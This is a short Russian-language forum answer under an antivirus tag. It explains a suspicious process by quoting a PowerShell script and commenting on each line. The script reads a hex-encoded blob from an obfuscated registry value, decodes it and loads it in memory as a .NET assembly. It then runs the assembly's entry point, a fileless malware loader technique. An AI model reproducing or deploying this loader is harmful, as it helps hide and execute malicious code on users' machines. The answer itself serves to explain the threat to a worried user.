Ответы пользователя по тегу Антивирусы
  • Что бы значил такой процесс?

    @alhaos
    function DE0PB([string]$s) {
       $H = @()
       for ($i = 0; $i -lt $s.Length; $i += 2) {
          $H += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber);
       };
       return $H; 
    };
    # функция распарсивает строку записаную hex симвалами по два в байты
    $_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\dMRLYUkOsPUxocGwuwjSSNZqQMPtNbLhGeyfrlsTCBSrqqahIWUJATEASqgIDqPZzXxZCGzpzpyDoPIChjZuJhLYZdhmoJluOBhsbpci' -name 'dMRLYUkOsPUxocGwuwjSSNZqQMPtNbLhGeyfrlsTCBSrqqahIWUJATEASqgIDqPZzXxZCGzpzpyDoPIChjZuJhLYZdhmoJluOBhsbpci').dMRLYUkOsPUxocGwuwjSSNZqQMPtNbLhGeyfrlsTCBSrqqahIWUJATEASqgIDqPZzXxZCGzpzpyDoPIChjZuJhLYZdhmoJluOBhsbpci;
    # зачение ключа реестра в $_b
    $_b = $_b.replace('Р•', 'E');
    # замена в нем Р• на E
    [byte[]]$_0 = DE0PB($_b);
    # строковое значение распарсивается на байты
    $_1 = [System.Threading.Thread]::GetDomain().Load($_0); $_1.EntryPoint.invoke($null, $null);
    # тут она запускается )))
    Ответ написан
    Комментировать